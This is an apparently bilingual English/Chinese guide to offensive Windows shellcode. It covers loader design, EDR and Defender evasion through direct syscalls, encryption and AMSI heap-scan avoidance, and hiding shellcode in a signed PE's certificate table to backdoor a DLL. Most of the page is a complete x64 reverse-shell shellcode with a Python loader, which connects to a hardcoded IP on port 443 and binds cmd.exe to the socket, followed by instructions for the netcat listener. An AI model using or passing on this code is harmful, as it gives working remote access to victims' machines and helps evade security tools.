offensive-shellcode
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseShellcode Development Workflow
Shellcode 开发工作流
- Define concept and target platform (x86/x64, Windows/Linux/macOS)
- Write assembly using position-independent techniques
- Extract binary and test in controlled environment
- Apply null byte avoidance and optimizations
- Encode/encrypt to evade static detection
- Package with loader and choose delivery method
- 定义概念和目标平台(x86/x64、Windows/Linux/macOS)
- 使用位置无关技术编写汇编代码
- 提取二进制文件并在受控环境中测试
- 应用空字节规避与优化
- 进行编码/加密以规避静态检测
- 与加载器打包并选择投递方式
Basic Concepts
基础概念
Execution Pattern (Allocate-Write-Execute)
执行模式(Allocate-Write-Execute)
Avoid direct — prefer:
PAGE_EXECUTE_READWRITE- Allocate with
PAGE_READWRITE - Write shellcode to allocated region
- Call to switch to
VirtualProtectPAGE_EXECUTE_READ
c
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();避免直接使用 ——推荐:
PAGE_EXECUTE_READWRITE- 使用 分配内存
PAGE_READWRITE - 将 Shellcode 写入已分配区域
- 调用 将其切换为
VirtualProtectPAGE_EXECUTE_READ
c
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();Position-Independent Code (PIC) Techniques
位置无关代码(PIC)技术
| Method | Platform | Notes |
|---|---|---|
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state | Windows | |
| SEH | Windows | Exception handler stores EIP |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
| 方法 | 平台 | 备注 |
|---|---|---|
| Call/Pop | Windows | 将下一地址压栈,再弹出到寄存器 |
| FPU state | Windows | |
| SEH | Windows | 异常处理程序存储 EIP |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | 内核提供的共享对象 |
Windows API Resolution (PEB Walk)
Windows API 解析(PEB Walk)
Identifying without imports:
kernel32.dll- Get via
PEB(x64) orgs:[0x60](x86)fs:[0x30] - Walk — order: exe → ntdll → kernel32
PEB->Ldr.InMemoryOrderModuleList - Hash-compare module names to locate
kernel32 - Parse the Export Address Table (EAT)
- Find by name hash, then resolve
GetProcAddressLoadLibraryA - Use to load
LoadLibraryA, resolve Winsock functionsWS2_32.dll
WinDbg helpers for debugging PEB walk:
bash
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32 # verify base address
r @r8 # check register无需导入表即可定位 :
kernel32.dll- 通过 (x64)或
gs:[0x60](x86)获取fs:[0x30]PEB - 遍历 ——顺序:exe → ntdll → kernel32
PEB->Ldr.InMemoryOrderModuleList - 对模块名进行哈希比较,以定位
kernel32 - 解析 Export Address Table(EAT)
- 通过名称哈希查找 ,然后解析
GetProcAddressLoadLibraryA - 使用 加载
LoadLibraryA,解析 Winsock 函数WS2_32.dll
用于调试 PEB 遍历的 WinDbg 辅助命令:
bash
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32 # verify base address
r @r8 # check registerShellcode Loaders
Shellcode 加载器
Loader Responsibilities
加载器职责
- Environment verification / keying (sandbox detection)
- Shellcode decryption
- Safe memory allocation and injection
- Ends its duties after injecting
Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
- 环境验证/密钥校验(沙箱检测)
- Shellcode 解密
- 安全地分配内存并执行注入
- 注入完成后终止其工作
推荐语言: Zig(体积小、无 runtime)、Rust(安全)、Nim、Go(注意 runtime 特征)
Allocation Phase
分配阶段
Avoid allocations — use two-step:
RWX- /
VirtualAllocEx— allocateNtAllocateVirtualMemoryRW - +
ZwCreateSection— alternative approachNtMapViewOfSection - After writing: to switch to
VirtualProtectExRX
Other options: code caves, stack/heap (with DEP disabled)
避免 分配——使用两步法:
RWX- /
VirtualAllocEx——分配NtAllocateVirtualMemoryRW - +
ZwCreateSection——替代方案NtMapViewOfSection - 写入后:使用 切换为
VirtualProtectExRX
其他选项: code caves、stack/heap(需禁用 DEP)
Write Phase
写入阶段
- /
WriteProcessMemoryNtWriteVirtualMemory - to mapped section
memcpy
Evasion tips:
- Prepend shellcode with dummy opcodes
- Split into chunks, write in randomized order
- Add delays between writes
- /
WriteProcessMemoryNtWriteVirtualMemory - 到映射 section
memcpy
规避提示:
- 在 Shellcode 前置 dummy opcodes
- 分块并按随机顺序写入
- 在写入之间添加延迟
Execute Phase
执行阶段
Most scrutinized step — EDR checks thread start address against image-backed memory:
| Technique | Notes |
|---|---|
| Loud, heavily monitored |
| Hijack suspended thread |
| APC injection |
| API trampolines | Overwrite function prologue |
| ThreadlessInject | No new threads created |
Indirect execution resources:
最受审查的步骤——EDR 会将线程起始地址与映像映射内存(image-backed memory)进行检查:
| 技术 | 备注 |
|---|---|
| 噪声较大,受到密切监控 |
| 劫持已挂起的线程 |
| APC 注入 |
| API trampolines | 覆写函数序言 |
| ThreadlessInject | 不创建新线程 |
间接执行资源:
PE-to-Shellcode Conversion
PE 到 Shellcode 的转换
| Tool | Purpose |
|---|---|
| Donut | EXE/DLL → shellcode |
| sRDI | DLL → position-independent shellcode |
| Pe2shc | PE → shellcode |
| Amber | Reflective PE packer |
Open-source loaders:
- ScareCrow
- NimPackt-v1
- NullGate — indirect syscalls + junk-write sequencing
- DripLoader — chunked RW writes + direct syscalls + JMP trampoline
- ProtectMyTooling — chain multiple protections
- Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)
开源加载器:
- ScareCrow
- NimPackt-v1
- NullGate——间接 syscall + junk-write 排序
- DripLoader——分块 RW 写入 + 直接 syscall + JMP trampoline
- ProtectMyTooling——链式组合多种防护
- 直接 syscall 辅助工具:SysWhispers3、FreshyCalls(现已成为基础要求)
Shellcode Storage & Hiding
Shellcode 存储与隐藏
| Location | Risk | Notes |
|---|---|---|
Hardcoded in | Medium | Requires recompile; stored |
PE Resources ( | High | Most scanned by AV |
| Extra PE section | Medium | Use second-to-last section |
| Certificate Table | Low | Keeps signed PE signature intact |
| Internet-hosted | Variable | SharpShooter |
Certificate Table technique (recommended):
- Pad Certificate Table with shellcode bytes; update PE headers
- Backdoor only the loader DLL (e.g., in
ffmpeg.dll)teams.exe - Main executable signature remains valid; only the DLL signature breaks
Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
Windows 11 24H2 note: AMSI heap scanning is active. Allocate with, decrypt in place, then switch toPAGE_NOACCESSto avoid live-heap scans.PAGE_EXECUTE_READ
| 位置 | 风险 | 备注 |
|---|---|---|
硬编码于 | 中 | 需要重新编译;以 |
PE Resources( | 高 | 最常被 AV 扫描 |
| 额外的 PE section | 中 | 使用倒数第二个 section |
| Certificate Table | 低 | 保持已签名 PE 签名完整 |
| 网络托管 | 可变 | SharpShooter |
Certificate Table 技术(推荐):
- 使用 Shellcode 字节填充 Certificate Table;更新 PE headers
- 仅对 loader DLL 设置后门(例如 中的
teams.exe)ffmpeg.dll - 主可执行文件签名保持有效;仅 DLL 签名失效
保护: 使用 LZMA 压缩;存储前使用 XOR32、RC4 或 AES 加密。
Windows 11 24H2 注意: AMSI 堆扫描处于启用状态。使用分配内存,原地解密,然后切换为PAGE_NOACCESS,以避免实时堆扫描。PAGE_EXECUTE_READ
Evasion
规避
Progressive Evasion Escalation
渐进式规避升级
- Basic shellcode execution (baseline)
- Add XOR/AES encryption + obfuscation
- Direct syscalls to bypass userland hooks
- Remote process injection as last resort
- 基础 Shellcode 执行(基线)
- 添加 XOR/AES 加密与混淆
- 使用直接 syscall 绕过用户态 hook
- 将远程进程注入作为最后手段
Local vs Remote Injection
本地注入与远程注入
Remote injection is more detectable:
- /
CFGenforcementCIG - ETW Ti feeds
- EDR call-stack back-tracing (invocation source)
NtOpenProcess - More scrutinized steps: OpenProcess → Allocate → Write → Execute
Defender bypass tools (DefenderBypass):
- — XOR-encrypt binary shellcode
myEncoder3.py - — basic C++ injector
InjectBasic.cpp - — XOR decrypt + inject
InjectCryptXOR.cpp - — direct syscalls, no suspicious IAT entries
InjectSyscall-LocalProcess.cpp - — remote process injection via direct syscalls
InjectSyscall-RemoteProcess.cpp
远程注入更容易被检测:
- /
CFG强制执行CIG - ETW Ti feeds
- EDR 调用栈回溯(调用来源)
NtOpenProcess - 更受审查的步骤:OpenProcess → Allocate → Write → Execute
Defender 绕过工具(DefenderBypass):
- ——使用 XOR 加密二进制 Shellcode
myEncoder3.py - ——基础 C++ 注入器
InjectBasic.cpp - ——XOR 解密并注入
InjectCryptXOR.cpp - ——直接 syscall,无可疑 IAT 条目
InjectSyscall-LocalProcess.cpp - ——通过直接 syscall 进行远程进程注入
InjectSyscall-RemoteProcess.cpp
Cross-Platform Considerations
跨平台注意事项
Windows on ARM64 (WoA)
Windows on ARM64(WoA)
- Syscalls use with ARM64 table in
SVC 0ntdll!KiServiceTableArm64 - Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with
PACIASP
- Syscall 使用 ,并使用
SVC 0中的 ARM64 表ntdll!KiServiceTableArm64 - Pointer Authentication(PAC)为 LR 签名——避免 stack pivot,或使用 重新签名
PACIASP
Linux 6.9+ (eBPF Arena)
Linux 6.9+(eBPF Arena)
- maps can hold executable memory
BPF_MAP_TYPE_ARENA - Hide shellcode chunks in arena map, execute via
bpf_prog_run_pin_on_cpu
- map 可保存可执行内存
BPF_MAP_TYPE_ARENA - 将 Shellcode 分块隐藏在 arena map 中,通过 执行
bpf_prog_run_pin_on_cpu
macOS (Signed System Volume)
macOS(Signed System Volume)
- macOS 12+ seals the system partition; unsigned payloads cannot reside there
- Userspace: launch agents, dylib hijacks in
/Library/Apple/System/Library/Dyld/ - Kernel persistence: create sealed snapshot, mount RW, inject, resign with , bless
kmutil
- macOS 12+ 会封印系统分区;未签名 payload 无法驻留其中
- 用户空间:launch agent、中的 dylib 劫持
/Library/Apple/System/Library/Dyld/ - 内核持久化:创建 sealed snapshot,以 RW 挂载,注入,使用 重新签名,再执行 bless
kmutil
DripLoader Technique
DripLoader 技术
- Reserve 64KB chunks with
NO_ACCESS - Allocate 4KB chunks within that pool
RW - Write shellcode in chunks in randomized order
- Re-protect to
RX - Overwrite prologue of with JMP trampoline
ntdll!RtlpWow64CtxFromAmd64 - All calls via direct syscalls: ,
NtAllocateVirtualMemory,NtWriteVirtualMemoryNtCreateThreadEx
- 使用 预留 64KB 分块
NO_ACCESS - 在该内存池中分配 4KB 分块
RW - 按随机顺序分块写入 Shellcode
- 重新保护为
RX - 使用 JMP trampoline 覆写 的序言
ntdll!RtlpWow64CtxFromAmd64 - 所有调用均通过直接 syscall:、
NtAllocateVirtualMemory、NtWriteVirtualMemoryNtCreateThreadEx
Full x64 Reverse Shell Shellcode (Windows)
完整的 x64 反向 Shell Shellcode(Windows)
Complete Python/Keystone example implementing PEB walk → → → Winsock connect → :
GetProcAddressLoadLibraryACreateProcessA(cmd.exe)python
import ctypes, struct
from keystone import *
CODE = (完整的 Python/Keystone 示例,实现 PEB walk → → → Winsock connect → :
GetProcAddressLoadLibraryACreateProcessA(cmd.exe)python
import ctypes, struct
from keystone import *
CODE = (Locate kernel32 Base Address
Locate kernel32 Base Address
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
" int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
" mov r8, rbx ;"
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
" int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
" mov r8, rbx ;"
Parse Export Address Table
Parse Export Address Table
" mov ebx, [rbx+0x3C] ;" # PE signature offset
" add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;" # EAT RVA
" add rdx, r8 ;" # RDX = EAT VA
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VA
" mov ebx, [rbx+0x3C] ;" # PE signature offset
" add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;" # EAT RVA
" add rdx, r8 ;" # RDX = EAT VA
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VA
Find GetProcAddress
Find GetProcAddress
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
" add rbx, r8 ;" # Function name VA
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
" add rbx, r8 ;" # Function name VA
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
Get function address
Get function address
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx2] ;" # Ordinal
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;"
" mov eax, [r11+4+r134] ;"
" add rax, r8 ;" # GetProcAddress VA
" mov r14, rax ;" # R14 = GetProcAddress
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx2] ;" # Ordinal
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;"
" mov eax, [r11+4+r134] ;"
" add rax, r8 ;" # GetProcAddress VA
" mov r14, rax ;" # R14 = GetProcAddress
Resolve LoadLibraryA
Resolve LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;" # 'LoadLibraryA'
" mov rdx, rsp ;"
" mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
" add rsp, 0x40 ;"
" mov rsi, rax ;" # RSI = LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;" # 'LoadLibraryA'
" mov rdx, rsp ;"
" mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
" add rsp, 0x40 ;"
" mov rsi, rax ;" # RSI = LoadLibraryA
LoadLibrary("WS2_32.dll")
LoadLibrary("WS2_32.dll")
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;" # LoadLibraryA("WS2_32.dll")
" mov r15, rax ;" # R15 = WS2_32 base
" add rsp, 0x40 ;"
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;" # LoadLibraryA("WS2_32.dll")
" mov r15, rax ;" # R15 = WS2_32 base
" add rsp, 0x40 ;"
WSAStartup
WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;" # 'WSAStartup'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;" # lpWSAData
" mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
" call r12 ;" # WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;" # 'WSAStartup'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;" # lpWSAData
" mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
" call r12 ;" # WSAStartup
WSASocketA — create socket
WSASocketA — create socket
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;" # 'WSASocketA'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;" # WSASocketA
" mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;" # 'WSASocketA'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
" mov [rsp+40], rdx ;"
" inc rdx ;"
" mov rcx, rdx ;"
" inc rcx ;"
" xor r8,r8 ;"
" add r8,6 ;"
" xor r9,r9 ;"
" mov r9w,98*4 ;"
" mov ebx,[r15+r9] ;"
" xor r9,r9 ;"
" call r12 ;" # WSASocketA
" mov r13, rax ;" # R13 = socket handle
" add rsp, 0x208 ;"
WSAConnect — connect to C2
WSAConnect — connect to C2
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;" # 'WSAConnect'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;" # WSAConnect
" mov rax, 0x7463 ;"
" push rax ;"
" mov rax, 0x656e6e6f43415357 ;"
" push rax ;" # 'WSAConnect'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" mov rcx, r13 ;" # socket handle
" sub rsp,0x208 ;"
" xor rax,rax ;"
" inc rax ;"
" inc rax ;"
" mov [rsp], rax ;" # AF_INET = 2
" mov rax, 0xbb01 ;" # Port 443 (big-endian)
" mov [rsp+2], rax ;"
" mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS
" mov [rsp+4], rax ;"
" lea rdx,[rsp] ;"
" mov r8, 0x16 ;" # sizeof(sockaddr_in)
" xor r9,r9 ;"
" push r9 ;"
" push r9 ;"
" push r9 ;"
" sub rsp, 0x88 ;"
" call r12 ;" # WSAConnect
Re-locate kernel32 and resolve CreateProcessA
Re-locate kernel32 and resolve CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;" # R12 = CreateProcessA
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;"
" mov rax, [rax + 0x18] ;"
" mov rsi, [rax + 0x20] ;"
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;"
" mov r8, rbx ;"
" mov rax, 0x41737365636f ;"
" push rax ;"
" mov rax, 0x7250657461657243 ;"
" push rax ;" # 'CreateProcessA'
" mov rdx, rsp ;"
" mov rcx, r8 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;" # R12 = CreateProcessA
Push cmd.exe + build STARTUPINFOA
Push cmd.exe + build STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
" push rax ;" # 'cmd.exe'
" mov rcx, rsp ;" # lpApplicationName
" push r13 ;" # hStdError = socket
" push r13 ;" # hStdOutput = socket
" push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;" # cb = 0x68
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
" mov rax, 0x6578652e646d63 ;"
" push rax ;" # 'cmd.exe'
" mov rcx, rsp ;" # lpApplicationName
" push r13 ;" # hStdError = socket
" push r13 ;" # hStdOutput = socket
" push r13 ;" # hStdInput = socket
" xor rax,rax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x100 ;" # STARTF_USESTDHANDLES
" push ax ;"
" xor rax,rax ;"
" push ax ;"
" push ax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" mov rax, 0x68 ;"
" push rax ;" # cb = 0x68
" mov rdi,rsp ;" # RDI = &STARTUPINFOA
Call CreateProcessA
Call CreateProcessA
" mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;" # lpProcessInformation
" push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
" push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;"
" push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
" call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
> **Note:** Update IP (`0x31061fac`) and port (`0xbb01`) before use. Listener: `nc -nvlp 443`
>
> **Windows 11 23H2:** Smart App Control may block outbound TCP 443/4444 to local subnets. Use a non-standard port or a named-pipe payload." mov rax, rsp ;"
" sub rax, 0x500 ;"
" push rax ;" # lpProcessInformation
" push rdi ;" # lpStartupInfo
" xor rax, rax ;"
" push rax ;" # lpCurrentDirectory = NULL
" push rax ;" # lpEnvironment = NULL
" push rax ;"
" inc rax ;"
" push rax ;" # bInheritHandles = TRUE
" xor rax, rax ;"
" push rax ;"
" push rax ;"
" push rax ;" # dwCreationFlags = 0
" mov r8, rax ;" # lpThreadAttributes = NULL
" mov r9, rax ;" # lpProcessAttributes = NULL
" mov rdx, rcx ;" # lpCommandLine = 'cmd.exe'
" mov rcx, rax ;" # lpApplicationName = NULL
" call r12 ;" # CreateProcessA
)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
ctypes.windll.kernel32.CreateThread.argtypes = (
ctypes.c_int, ctypes.c_int, ctypes.c_void_p,
ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int),
)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0), ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000), ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode)))
print("Shellcode at %s" % hex(ptr))
input("Press ENTER to execute...")
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr),
ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)),
)
ctypes.windll.kernel32.WaitForSingleObject(ht, -1)
> **注意:** 使用前请更新 IP(`0x31061fac`)和端口(`0xbb01`)。监听器:`nc -nvlp 443`
>
> **Windows 11 23H2:** Smart App Control 可能会阻止到本地子网的出站 TCP 443/4444。请使用非标准端口或命名管道 payload。